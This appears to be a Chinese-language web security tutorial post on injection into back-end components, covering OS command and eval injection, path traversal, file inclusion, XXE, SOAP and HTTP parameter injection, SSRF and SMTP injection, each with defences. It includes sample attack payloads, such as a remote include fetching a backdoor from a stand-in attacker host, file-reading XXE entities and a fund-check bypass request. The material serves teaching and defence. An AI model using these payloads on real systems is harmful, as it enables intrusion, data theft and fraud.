Web安全(9)

后端组件

  • Web应用程序常常作为一系列后端业务关键资源,包括网络资源(如Web服务、后端Web服务器、邮件服务器)和本地资源(如文件系统)的接口及操作系统接口。而且,应用程序还作为这些后端组件的自主访问控制层。任何能够与后端组件进行任意交互的攻击都能够突破Web应用程序实施的整个访问控制模型,从而以未授权的方式访问敏感数据和功能。
  • 数据在不同的组件间传递时,它们将由不同类型的API和接口解释。被核心应用程序视为安全的数据,在支持不同编码、转义字符、字段分隔符或字符串终止符的上层组件看来,可能极不安全。此外,上层组件可能会有相对多的功能是在应用程序在正常情况下不会调用的。因此,利用注入漏洞的攻击者通常不仅能够突破应用程序的访问控制,甚至能够利用后端组件支持的其他功能来攻破组件基础架构的关键部分。

注入操作系统命令

  • 大多数Web应用程序已经能够使用内置的API与服务器的操作系统进行交互,比如,帮助开发者访问文件系统、连接其他进程、进行安全的网络通信。
  • 如果应用程序向操作系统命令传送用户提交的输入,那么就很可能会造成命令注入攻击。

通过动态执行注入

许多Web脚本语言支持动态执行在运行时生成的代码。这种特性允许开发者创建可根据各种数据和条件动态修改器代码的应用程序。如果用户输入合并到可动态执行的代码中,那么攻击者就可以提交专门设计的输入,破坏原有的数据,指定服务器执行自己的命令。这时,攻击者的第一个目标通常是注入运行操作系统命令的API

实例

PHP的函数eval可用于动态执行在运行时传送给该函数的代码。下面以一个搜索功能为例,该功能允许用户创建保存的搜索,然后在用户界面上以链接的形式动态生成这些搜索。用户使用URL访问该搜索功能:

/search.php?storedsearch=\$myresearch%3dwahh

服务器端通过动态生成变量来执行这项功能,生成的变量包含在storedsearch参数中指定的名/值对;此处,它创建值为wahh的变量myresearch

$storedsearch=$_GET['storedsearch'];
eval("$storedsearch");

这时,就可以提交专门设计的输入,由eval函数动态执行,从而在服务器端应用程序中注入任意PHP命令。分号字符可用于在单独一个参数中将几个命令连接在一起。例如,要检索文件/etc/password的内容,可以使用file_get_contents或system命令

/search.php?storedsearch=\$myresearch%3dwahh;%20echo%20file_get_contents('/etc/passwd')

查找OS命令注入漏洞

应用程序发出的操作系统命令中可能包含用户提交的任何数据项,包括每个URL,请求主体参数以及cookie。不同的命令解释器处理shell元字符的方式不同。任何类型的应用程序开发平台或Web服务器可能会调用任何shell解释器,在它自己或其他主机的操作系统上运行。
有两种类型的元字符可用于在一个现有的预先设定的命令中注入一个独立的命令

  • 字符;|&和换行符可用于将几个命令逐个连接在一起,可以成对使用这些字符以达到不同的效果。例如,在Windows命令解释器中,使用&&表示第二个命令只有在第一个命令执行结束才会执行;||表示无论第一个命令是否运行成功,都只运行第二个命令。
  • 反引号(`)用于将一个独立的命令包含在最初的命令处理的数据中。把一个注入的命令放在反引号内shell解释器就会执行该命令,并用这个命令的结果代替被包含的文本,然后继续执行得到的命令字符串

通常,检测命令注入是否可行的方法是使用时间延迟推断,类似于在Web安全(8)中讨论的那样

注:许多命令注入攻击要求注入空格以分隔命令行自变量。在UNIX中,攻击者可以用包含空白符字段分隔符的$IFS环境变量代替空格

查找动态执行漏洞

动态执行漏洞最常见于PHP和Perl等语言。基本上,任何应用程序平台都可能会向基于脚本的解释器(有时位于其他后端服务器上)传送用户提交的输入。

防止OS命令注入

  • 通常来说,防止OS命令注入漏洞的最佳方法是完全避免直接调用操作系统命令。几乎Web应用程序所需要执行的每个任务都可以使用内置API完成,而且攻击者无法控制这些API进行操作。
  • 如果无法避免要在传送给操作系统命令解释器的命令字符串中插入用户提交的数据,如果可能,应使用一份“白名单”限制用户只输入一组特殊的值,或者将输入范围设置为少数少数字符。
  • 应用程序应使用命令API通过它的名称和命令行参数启动特殊的进程,而不是向支持命令连接和重定向的shell解释器传送字符串。

防止脚本注入漏洞

防止脚本注入漏洞的最佳方法是,避免将用户提交的输入或者来自用户的数据传送给任何动态执行或包含函数。

操作文件路径

Web应用程序中许多功能通常都需要处理用户以文件或目录名提交的输入。一般情况下,这些输入会提交给接受文件路径的API(例如,用于检索本地文件系统中的文件)。应用程序将会在它对用户请求的响应中处理该API调用的结果。如果用户提交的输入未经过正确确认,这种行为就可能导致各种安全漏洞,其中最常见的就是文件路径遍历漏洞和文件包含漏洞。

路径遍历漏洞

如果应用程序使用用户可控制的数据、以危险的方式访问位于应用程序服务器或其他后端文件系统中的文件和目录,就会出现路径遍历漏洞。通过提交专门设计的输入,攻击者就可以在被访问的系统文件中读取或写入任何内容。
在下面的示例中,应用程序使用一个动态页面向客户端返回静态图像。被请求图像的名称在查询字符串参数中指定:

https://masec.net/filestore/8/GetFile.ashx?filename=photo.jpg

当服务器处理这个请求时,它执行以下操作:

  1. 从查询字符串中提交filename参数值
  2. 将这个值附加在C:\filestore\之后
  3. 用这个名称打开文件
  4. 读取文件内容并将其返回给客户端
    攻击者可以将路径遍历序列放入文件名内,从第2步指定的图像目录向上回溯,从而访问服务器上的任何一个文件。路径遍历序列表示为“点-点-斜线”(..),一个典型的攻击如下:
    https://masec.net/filestore/8/GetFile.ashx?filename=..\windows\win.ini
    当第二步时应用程序把filename参数的值附加到图像目录名称之后,就可以得到如下路径:
    C:\filestore\..\windows\win.ini
    这两个遍历序列立即从图像目录回溯到C:驱动器根目录下,因此前面的路径等同于以下路径:
    C:\windows\win.ini
    因此,服务器不会返回图像,而是返回默认的Windows配置文件。这种攻击早已广为人知,应用程序通过会针对它们实施各种防御,大多数情况下是采取输入确认过滤。但如下文所述,这种过滤仍然可被避开。

注:服务器进程默认以权限较低的用户账户运行,因此,在探查路径遍历漏洞时,最好是请求一个可由任何类型的用户读取的默认文件。如C:\windows\win.ini

查找和利用路径遍历漏洞

确定攻击目标

在对应用程序进行的初步解析中,要确定所有与路径遍历漏洞有关的明显受攻击面。主要用于文件下载或上传目的的所有功能都应进行全面测试

探查路径遍历漏洞

在测试用户提交的参数时,需确定遍历序列是否被应用程序阻止,或者它们是否能够正常工作。通常,提交不会向上回溯到起始目录的遍历序列是一种较为可靠的初步测试方法。如果发现提交遍历序列但不会向上回溯到起始目录不会影响应用程序行为,那么接下来的测试中,应该尝试遍历出起始目录,从服务器文件系统的其他地方访问文件。

避开遍历攻击障碍

对路径遍历漏洞采用的常用输入过滤方法有:

  • 检查文件名参数是否存在任何路径遍历序列。如果存在,要么拒绝包含遍历序列的请求,要么尝试删除该序列,以对它的输入进行净化。
  • 确认用户提交的输入是否包含应用程序想要的后缀(如文件类型)或前缀(如起始目录)。这种类型的防御可以与前面描述的过滤混合使用
处理定制编码

应用程序采用的文件名编码方案最终以危险的方式进行处理,模糊处理也不能提供任何安全保障,这时就会出现最可怕的路径遍历漏洞。
例如,一个应用程序允许用户上传和下载文件。如果一个文件上传成功,那么应用程序再为用户提供一个下载URL。
可以通过以下方法给直接利用漏洞设立障碍

  • 应用程序核对将要写入的文件是否已经存在,如果已经存在,就拒绝重写这个文件
  • 为下载用户文件而生成的URL使用一种定制模糊处理方案表示。这种方案是一种定制的Base64编码形式,它在每个编码文件名位置使用一组不同的字符。

防止路径遍历漏洞

迄今为止,避免向任何文件系统API传送用户提交的数据是防止路径遍历漏洞的最有效方法。以下是一些可能有用的防御方法,最好将它们组合使用

  1. 对用户提交的文件名进行相关解码与规范化后,应用程序检查应检查文件名是否包含路径遍历序列(使用反斜线或斜线)或空字节。如果是这样,应用程序应停止处理请求,不得尝试对恶意文件名进行任何净化处理
  2. 应用程序应使用一个硬编码的、允许访问的文件类型列表,并拒绝任何访问其他文件类型的请求(完成解码与规范化后)。
  3. 对用户提交的用户名进行一切必要的过滤后,应用程序应使用适当的文件系统API确认是否一切正常,以及使用该文件名访问的文件是否位于应用程序指定的起始目录中。
  • 在Java中,可以通过使用用户提交的文件名示例一个java.io.File对象,然后对这个对象调用getCanonicalPath方法,即可到达上述目的。
  • 在ASP.NET中,可以将用户提交的文件名传送给System.Io.Path.GetFullPath方法,并对字符串执行和上述java中一样的检查,从而达到相同的目的。
  • 应用程序中可以使用一个chrooted环境访问包含被访问文件的目录,减轻大多数路径遍历漏洞造成的影响。在这种情况下,chrooted目录就好比是文件系统的根目录,任何试图从这个目录向上回溯的多余遍历请求都应该被忽略。大多数UNIX系统平台都支持chrooted文件系统。在Windows平台上,以新逻辑驱动器的形式安装相关起始目录,并且使用相应的驱动器字母访问目录内容,即可实现类似效果。
  • 应用程序应将路径遍历攻击防御机制与日志和报警系统结合在一起。任何时候,只要收到一个包含路径遍历序列的请求,提出请求的用户就可能心存恶意,应用程序应在日志中进行记录,标明该请求企图违反安全机制,并终止该用户会话,如有可能,应冻结该用户账户并向管理员发出警报。

文件包含漏洞

许多脚本语言支持使用包含文件(include file)。这种功能允许开发者把可重复使用的代码插入到单个的文件中,并在需要时将它们包含在特殊功能的代码文件中。然后,包含代码的文件被解释,就像它插入到包含指令的位置一样

远程文件包含

PHP语言特别容易出现文件包含漏洞,因为它的包含函数接受远程文件的路径。这种缺陷已经成为PHP应用程序中大量漏洞的根源

实例

以一个向不同位置的人们传送各种内容的应用程序为例。用户选择他们的位置后,这个信息通过一个请求参数传送给服务器:

https://wahh-app.com/main.php?Country=China

应用程序通过以下方法处理Country参数:

$country = $_GET('Country');
include($country. '.php');

这种执行环境加载位于Web服务器文件系统中的China.php文件,然后,这个文件的内容被复制到main.php文件中,并得以执行。
攻击者能够通过各种方法利用这种行为,最严重的情况是指定一个外部的URL作为包含文件的位置。PHP函数接受这个位置作为输入,接着,执行环境将获取指定的文件并执行其内容。因此,攻击者能够构建一个包含任意复杂内容的恶意脚本,将其寄存在他控制的Web服务器上,并通过易受攻击的应用程序函数调用它然后执行。例如:

https://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor

本地文件包含

有时,应用程序根据用户可控制的数据加载包含文件,但这时不可能给位于外部服务器上的文件指定URL。例如,如果用户可控制的数据被提交给ASP函数Server.Execute,那么攻击者就可以执行任意一段ASP脚本,只要这段脚本属于调用这个函数的相同应用程序。
在这种情况下,攻击者仍然可以利用应用程序的行为执行未授权操作:

  • 在服务器上可能有一些通过正常途径无法访问的文件,例如,任何访问路径/admin的请求夺回被应用程序实施的访问控制阻止。如果能够将敏感功能包含在一个授权访问的页面中,那么就可以访问那个功能。
  • 服务器上的一些静态资源也受到同样的保护,无法直接访问。如果能将这些信息动态地包含在其他应用程序页面中,那么执行环境就会将静态资源的内容复制到它的响应中。

查找文件包含漏洞

任何用户提交的数据项都可能引起文件包含漏洞。它们经常出现在指定一种语言或一个位置的请求参数中,也常常发生在以参数形式传送服务器端文件名的情况下。

注入XML解释器

今天的Web应用程序大量使用XML,在浏览器和前端应用程序服务器之间传送的请求和响应,以及在后端应用程序组件(如SOAP服务)之间传送的消息中都可以找到XML。

注入XML外部实体(XXE)

XML常用于从客户端向服务器提交数据。然后,服务器端应用程序将处理这些数据,并且可能会返回一个包含XML或任何其他格式数据的响应。在使用异步请求在后台进行通信的基于Ajax的应用程序中,这种行为最为常见。浏览器扩展组件或其他客户端技术也会用到XML。
实体引用:如,与<和>对应的实体如下所示:

&lt;
&gt;
  • 之所以会产生XML外部实体(XXE)注入漏洞,是因为标准的XML解析库支持使用实体引用。这些引用仅仅是在XML文档内部或外部引用数据的一种方法。XML格式允许在XML文档中定义定制实体。这些实体在文档开始部分的可选DOCTYPE元素中定义。如:
    <!DOCTYPE foo [ <!ENTITY testref "testrefvalue"> ] >
    通过文档中包含以上定义,解析器将用testrefvalue这个已定义的值替代文档中出现的任何testref;实体引用。

此外,XML规范允许使用外部引用来定义实体,XML解析器将动态提取这些实体的值。这些外部实体定义采用URL格式,并可以引用外部Web URL或本地文件系统上的资源。XML解析器将提取指定的URL或文件的内容,并将其作为已定义实体的值。如果应用程序在响应中返回任何外部定义的实体的XML数据,则指定该URL或文件的内容将在该响应中返回。

攻击者可以通过向XML添加适当的DOCTYPE元素,或通过修改该元素,在基于XML的请求中指定外部实体。外部引用实体使用关键字SYSTEM来指定,并使用URL(可能使用file:协议)进行定义。

例如,以一个使用AJax实现的、提供无缝用户体验的搜索功能为例。在用户输入搜索词时,客户端脚本将向服务器提出以下请求:

POST /search/128/AjaxSearch.ashx HTTP/1.1
Host: mdsec.net
Content-Type: text/xml; charset=UTF-8
Content-Length: 44

<Search><SearchTerm>nothing will change</SearchTerm></Search>

攻击者可以就此提交以下请求:

POST /search/128/AjaxSearch.ashx HTTP/1.1
Host: mdsec.net
Content-Type: text/xml; charset=UTF-8
Content-Length: 115

<! DOCTYPE foo [ <! ENTITY xxe SYSTEM "file://windows/win.ini"> ]>
<Search><SearchTerm>&xxe;</SearchTerm></Search>

收到这个请求之后,XML解析器将提取指定文件的内容,并使用该内容来替代已定义的实体利用(攻击者已在SearchTerm元素中使用了该实体引用)。由于SearchTerm元素的值会在应用程序的响应中回显,这会导致服务器以该文件的内容做出响应,如下所示:

HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: 556

<Search><SearchResult>No results found for expression: ; for 16-bit wahh-app 
support
[fonts]
[extensions]
[mci extensions]
[files]
...

除使用file:协议来指定本地文件系统上的资源外,攻击者还可以使用http:等协议让服务器通过网络提取资源。这些URL可以指定任意主机、IP地址和端口。攻击者可以利用它们与后端系统上无法通过因特网直接访问的网络服务进行交互。例如,以下攻击尝试连接到在专用IP地址上192.168.1.1的端口25上运行的邮件服务器:

<! DOCTYPE foo [<! ENTITY xxe SYSTEM "http://192.168.1.1"> ]>
<Search><SearchTerm>&xxe;</SearchTerm></Search>

通过这种技巧可以实施各种攻击,如下所示:

  • 攻击者可以将应用程序作为代理服务器使用,从应用程序能够访问的任何Web服务器上检索敏感内容,包括那些在组织内部的专用非路由地址空间运行的内容。
  • 攻击者可以通过攻击大量IP地址和端口号,对后端系统上的开放端口进行测试。在某些情况下,可以使用时间性差异来推断所请求的端口的状态。其他时候,应用程序可能会在响应中返回某些服务的服务标题(service banner)

最后,如果应用程序检索外部实体,但并不在响应中返回该实体,则攻击者仍然可以通过无期限地读取某个文件流,从而实施拒绝服务攻击。

<! DOCTYPE foo [ <! ENTITY xxe SYSTEM "file:///dev/random"> ] >

注入SOAP

SOAP(Simple Object Access Protocol,简单对象访问协议)是一种使用XML格式封装数据、基于消息的通信技术。各种在不同操作系统和架构上运行的系统也使用它来共享信息和传递消息,它主要用于Web服务中;通过浏览器访问的Web应用程序常常使用SOAP在后端应用程序组件之间进行通信。
由于XML是一种解释型语言,因此,和前面的描述的其他示例一样,SOAP也易于受到代码注入攻击。XML元素通过元字符<、>和/以语法形式表述。如果用户提交的数据中包含这些字符,并被直接插入这些SOAP消息中,攻击者就能破坏消息的结构,进而破坏应用程序的逻辑。

以一个银行用户为例,一名用户正在使用下面的HTTP请求进行转账:

POST /bank/27/Default.aspx HTTP/1.0
Host: mdsec.net
Content-Length: 65

FromAccount=1828110&Amount=1430&ToAccount=08447656&Submit=Submit

在处理这个请求的过程中,应用程序在两个后端组件之间传送SOAP消息:

<soap:Envelop xmlns:soap="http://www.w3.org/2001/12/soap-envelop">
  <soap:Body>
    <pre:Add xmlns:pre=http://target/lists soap:encodingStyle="http://www.w3.org/200/12/soap-encoding">
        <Account>
          <FromAccount>1828110</FromAccount>
          <Amount>1430</Amount>
          <ClearedFunds>false</ClearedFunds>
        </Account>
     </pre:Add>
   </soap:Body>
 </soap:Envelop>

注意消息中的XML元素如何与HTTP请求中的参数对应过来,以及应用程序如何添加ClearedFunds元素。这时,应用程序逻辑确定账户没有足够的资金来转账,并将这个元素(ClearedFunds)的值设为False,因此收到SOAP消息的组件将拒绝转账。
在这种情况下,攻击者可以通过各种方法注入SOAP消息,从而破坏应用程序的逻辑。例如,提交下面的请求会在最初的元素之前插入另外一个ClearedFunds元素(同时保持SQL语法的有效性),如果应用程序处理它遇到的第一个ClearedFundsu元素,那么即使账户中没有资金,也可以成功进行转账。

POST /bank/27/Default.aspx HTTP/1.0
Host: mdsec.net
Content-Length: 119

FromAccount=1828110&Amount=1043</Amount><ClearedFunds>True
</ClearedFunds><Amount>1430&ToAccount=08447656&Submit=Submit

另一方面,如果应用程序处理它遇到的后一个ClearedFunds元素,攻击者就可以在ToAccount参数中注入一个类似的攻击。
另一种类型的攻击是使用XML注释完全删除原始SOAP消息中的一个元素,并用攻击者自己设计的元素代替被删除的元素。
例如,下面的请求通过Amount参数注入一个ClearedFunds元素,为ToAccount元素建立一个起始标签,开始一段注释,并在ToAccount参数中结束注释,从而保持XML语法的有效性

POST /bank/27/Default.aspx HTTP/1.0
Host: mdsec.net
Content-Length: 125

FromAccount=1828110&Amount=1043</Amount><ClearedFunds>True
</ClearedFunds><ToAccount><!--&ToAccount=-->08447656&Submit=Submit

查找并利用SOAP注入

SOAP注入可能很难被发现,因为随意提交XML元字符会破坏SOAP消息的格式,而且这样做生成的错误消息也极其简单。但是,下面的步骤仍然可以相对可靠地检测出SOAP注入漏洞。

  • 轮流在每个参数中提交一个恶意XML结束标签,如< /foo>。如果没有发生错误,那么输入可能没有插入到SOAP消息中,或者以某种方式被净化了。
  • 如果出现错误,提交一对有效的起始和结束标签,如< foo>< /foo>。如果这对标签使错误消失,那么应用程序很有可能易于受到攻击。
  • 有些时候,插入到XML格式消息中的数据随后以XML格式被读取并返回给用户。如果修改的数据项在应用程序的响应中返回,看看提交任意的XML内容是否会以相同的形式返回。或者已通过某种方式被规范化。轮流提交下面两个值:
    test test
    如果发现其中一个值的返回结果为另一个值,或者只返回test,那么可以确信输入被插入到了XML中
  • 如果HTTP请求中包含几个可放入SOAP消息的参数,尝试在一个参数中插入起始注释字符<! –,在另一个参数添加结束注释字符–>。然后,轮换在参数中插入这两个字符(因为无法知道参数出现的顺序)。这样做可能会把服务器SOAP消息的某个部分作为注释处理,从而改变应用程序的逻辑,或者形成一个可能造成信息泄露的不同错误条件。

防止SOAP注入

我们可以在用户提交的数据被插入SOAP消息中的任何位置实施边界确认过滤,以防止SOAP注入。需要过滤的数据包括用户在当前请求中直接提交的数据,以及在前面的请求中已经存在或由以用户数据为输入的其他处理过程生成的数据
为防止以上攻击,应用程序应对出现在用户输入中的任何XML元字符进行HTML编码。HTML编码包含对应的HTML实体替代字面量字符。这样做可以确保XML解释器在进行处理时,把它们当做相关元素的数据值,而不是消息结构的一部分。一些经常造成问题的字符的HTML编码如下:

 <—— &1t;
 >—— &gt;
 /—— &#47;

注入后端HTTP请求

应用程序可能会将用户输入嵌入任何类型的后端HTTP请求,包括那些以常规名/值对传输参数的请求。由于应用程序通常会有效代理用户提交的URL或参数。因而这种行为往往易于受到攻击。针对这种功能的攻击分为以下类别:

  • 服务器端HTTP重定向:攻击者可以通过这种服务器方法指定任意资源或URL,然后再由后端应用程序服务器请求这些资源或URL
  • HTTP参数注入(HPI):攻击者可以通过这种方法在应用程序服务器提出的后端HTTP请求中注入任意参数。如果攻击者注入后端请求中已存在的参数,就可以利用HTTP参数污染(HPI)攻击覆盖服务器指定的原始参数值。

服务器端HTTP重定向

如果应用程序接受用户可控制的输入,并将其合并到使用后端HTTP请求检索的URL中,这种行为就会导致服务器端重定向漏洞。用户提交的输入中可能包含被检索的完整URL,或者应用程序可能会对该URL进行某种处理,如添加标准的后缀。
后端HTTP请求可能指定公共因特网的某个域,或者指定用户无法直接访问的内部服务器。所请求的内容可能对应用程序的功能非常重要,如支付网关的接口等。这种技巧常用于将几个单独的内部和外部应用程序组件组合到一个前端应用程序中,再由该应用程序代表这些组件实施访问控制和会话管理。如果攻击者能够控制后端HTTP请求中的IP地址或主机名,他就可以使应用程序服务器连接到任意资源,有时甚至能够检索后端响应的内容。

以下面的前端请求为例,其中的loc参数用于指定客户端希望查看的CSS文件版本:

POST /account/home HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: wahh-blogs.net
Content-Length:65

view=default&loc=online.wahh-blogs.net/css/wahh.css

如果没有在loc参数中为URL指定确认机制,攻击者就可以指定任何主机名来替代online.wahh-blogs.net。应用程序将检索指定的资源,导致攻击者将应用程序用作潜在的敏感后端服务的代理服务器。在下面的示例中,攻击者使应用程序连接到后端SSH服务:

POST /account/home HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: wahh-blogs.net
Content-Length:65

view=default&loc=192.168.0.1:22

应用程序的响应包含所请求的SSH服务的旗标:

HTTP/1.1 200 OK
Connection: close

SSH-2.0-OpenSSH_4.2Protocol mismatch.

攻击者可以利用HTTP重定向漏洞,将易受攻击的应用程序作为开放的HTTP代理服务器。以实施各种攻击。

  • 攻击者可以将该代理服务器用于攻击互联网的第三方系统。恶意流量针对的是运行易受攻击的应用程序的服务器上的目标
  • 攻击者可以将该代理服务器用于连接到组织内部网络中的任意主机,从而访问无法通过因特网直接访问的目标
  • 攻击者可以将该代理服务器反向连接在应用程序服务器本身上运行的其他服务。从而突破防火墙的限制,并利用信任关系来避开身份验证。
  • 攻击者可以通过使应用程序在响应中包含受控的内容,利用代理功能实施跨站点攻击(请参阅Web安全(10))

注:一些服务器端重定向API,如ASP.NET中的Server.Transfer()和Server.Execute(),仅可重定向到同一主机上的相关URL。

HTTP参数注入(HPI)

如果用户提交的参数被用作后端HTTP请求中的参数,这时就会导致HTTP参数注入(HPI)。
以下面的之前易于受SOAP注入的银行转账功能为例。

POST /bank/48/Default.aspx HTTP/1.0
Host: mdsec.net
Content-Length: 65

FromAccount=18281008&Amount=1430&ToAccount=08447656&Submit=Submit

这个前端请求由用户浏览器提出,将导致应用程序向银行基础架构中的另一台Web服务器提出其他HTTP请求,在以下后端请求中,应用程序从前端请求中复制了一些参数值。

POST /doTransfer.asp HTTP/1.0
Host: mdsec-mgr.int.mdsec.net
Content-Length: 44
formmac=18281008&amount=1430&tomac=08447656

这个请求要求后端服务器检查是否有清算资金可以转账,如果有,则进行转账。但是,前端服务器可以通过提供以下参数,指定存在清算资金,从而避开以上检查:

ClearedFunds=true

如果攻击者发现这种行为,他就可以尝试实施HPT攻击。在后端请求中注入ClearedFunds参数。要注入该参数,他将所需参数附加到现有参数值的后面,并将分隔名称和值的&和=字符进行URL编码。如下所示:

POST  /bank/48/Default.aspx HTTP/1.0
Host: mdsec.net
Content-Length: 96

FromAccount=18281008&Amount=1430&ToAccount=08447656&ClearedFunds%3dtrue&Submit=Submit

当应用程序处理这个请求时,它会以正常方式对参数值进行URL编码。因此,前端应用程序收到的ToAccount参数的值为:

08447656&ClearedFunds=true

如果前端应用程序没有确认这个值并将它按原样传递给后端请求,应用程序将提出以下后端请求,使攻击者能够成功避开清算资金检查。

POST /doTransfer.asp HTTP/1.0
Host: mdsec.net
Content-Length: 62

formmac=18281008&amount=1430&tomac=08447656&ClearedFunds=true

注:与SOAP不同,在后端请求中注入任意异常参数不会导致错误。因此,要想成功实施攻击,需要清楚了解应用程序具体使用了哪些后端参数。

HTTP参数污染(HPP)

如果一个请求中包含多种请求,Web服务器通常会采取的处理方式如下:

  • 使用参数的第一个实例
  • 使用参数的最后一个实例
  • 串联参数值,可能在参数之间添加分隔符
  • 构建一个包含所有请求值的数组

在前面的HPI示例中,攻击者可以在后端请求中添加一个新参数。实际上,攻击者可以对其实施注入攻击的请求很可能已经包含一个与攻击者所针对的参数同名的参数。在这种情况下,攻击者可以使用HPI条件注入另一个同名参数。随后,应用程序将表现何种行为,将取决于后端HTTP服务器如何处理重复参数。这样,攻击者或许可以用他注入的参数“覆盖”原始参数值。

HPP攻击能否成功,很大程度上取决于目标应用程序服务器如何处理多个同名参数,以及后端请求中的插入点是否正确。如果两种技术需要处理相同的HTTP请求,HPP攻击就会造成严重的后果。Web应用程序防火墙或反向代理可能会处理某个请求,并将其传递给Web应用程序,由Web应用程序抛弃变量,甚至是基于之前不相关的请求部分构建字符串。

攻击URL转换

许多服务器会在所请求的URL抵达时重写这些URL,再将它们映射到应用程序中的相关后端功能。服务器在处理REST风格的参数、定制导航包装器以及其他URL转换方法时都会进行URL重写。这种处理方式可能易受HPI和HPP攻击。

为了简化和导航,一些应用程序在URL的文件路径,而非查询字符串中插入参数值。通常,应用程序会采用一些简单的规则转换URL,然后将其发送给真正的目标。攻击者可以利用HPI攻击在经过重写的URL中注入另一个参数。

注入电子邮件

SMTP(Simple Mail Transfer Protocol):一种可靠的电子邮件传输协议。
许多应用程序拥有一项允许用户通过应用程序提交信息的功能。例如,向支持人员报告问题或提供关于Web站点的反馈。这项功能一般通过邮件(或SMTP)服务器执行。通常,用户提交的输入被插入到邮件服务器处理的SMTP会话中。如果攻击者能够提交未被过滤或净化的专门设计的输入,就可以在这个会话中插入任意SMTP命令。

多数时候,应用程序允许用户指定消息的内容和自己的电子邮件(插入到生成电子邮件的From字段中),还可以指定消息的主题和其他细节。能够控制的任何字段都易于收到SMTP注入。

操作电子邮件标头

一下图表单为例。它允许用户发送关于应用程序的反馈。

在该表单中,用户可指定发件人(From)地址和邮件内容。应用程序将这个输入传送给PHPmail()命令,由它建立邮件并与它配置的邮件服务器进行必要的SMTP会话。生成的邮件如下:

To: admin@qq.com
From: 123@qq.com
Subject: Site problem

page don't load

PHPmain()命令使用additional_headers参数为消息设定发件人地址。这个参数还可以用于指定其它标头,包括Cc和Bcc,并用换行符分隔每个被请求的标头。因此,攻击者可以通过在From字段中注入这其中的某个标头,将邮件发送给任意收件人。如图所示

这会导致mail()命令生成以下邮件:

To: admin@qq.com
From: 123@qq.com
Bcc: all@qq-othercompany.com
Subject: Site problem

page don't load

SMTP命令注入

在其他情况下,应用程序可能会执行SMTP会话,或者将用户提交的输入传送给一个不同的组件以完成这一任务。这时,我们就可以直接在这个会话中注入任意SMTP命令,完全控制由应用程序生成的信息。

例如,一个使用以下请求提交站点反馈的应用程序为例:

POST feedback.php HTTP/1.1
Host: wahh-app.com
Content-Length: 56

From=daf&wahh-mail.com&Subject=Site+feedback&Message=foo

应用程序会使用以下命令开始一个SMTP会话:

MAIL FROM: daf@wahh-mail.com
RCPT TO: feedback@wahh-app.com
DATA
From: daf@wahh-mail.com
To: feedback@wahh-app.com
Subject: Site feedback
foo
.

这时,攻击者可以在任何受控的电子邮件字段中注入任意SMTP命令。

注:SMTP客户端发送DATA命令后,应用程序送出电子邮件消息的内容,包括消息头和主体,然后发送一个电字符(.)。这告诉服务器消息已发送完毕,客户端可以发送其他SMTP命令,发送其他消息。

防止SMTP注入

如果对提交给电子邮件功能或SMTP会话使用的任何用户提交的数据进行严格的检查,就可以防止SMTP注入漏洞。因此,可根据其用途对每项数据进行尽可能严格的确认

  • 应根据一个适当的正则表达式检查电子邮件地址(当然应拒绝所有换行符)
  • 消息主题不得包含任何换行符,并应实施适当的长度限制
  • 如果消息内容被一个SMTP会话直接使用,那么应禁止使用仅包含一个字符的消息行。

   转载规则


《Web安全(9)》 fightingtree 采用 知识共享署名 4.0 国际许可协议 进行许可。
  目录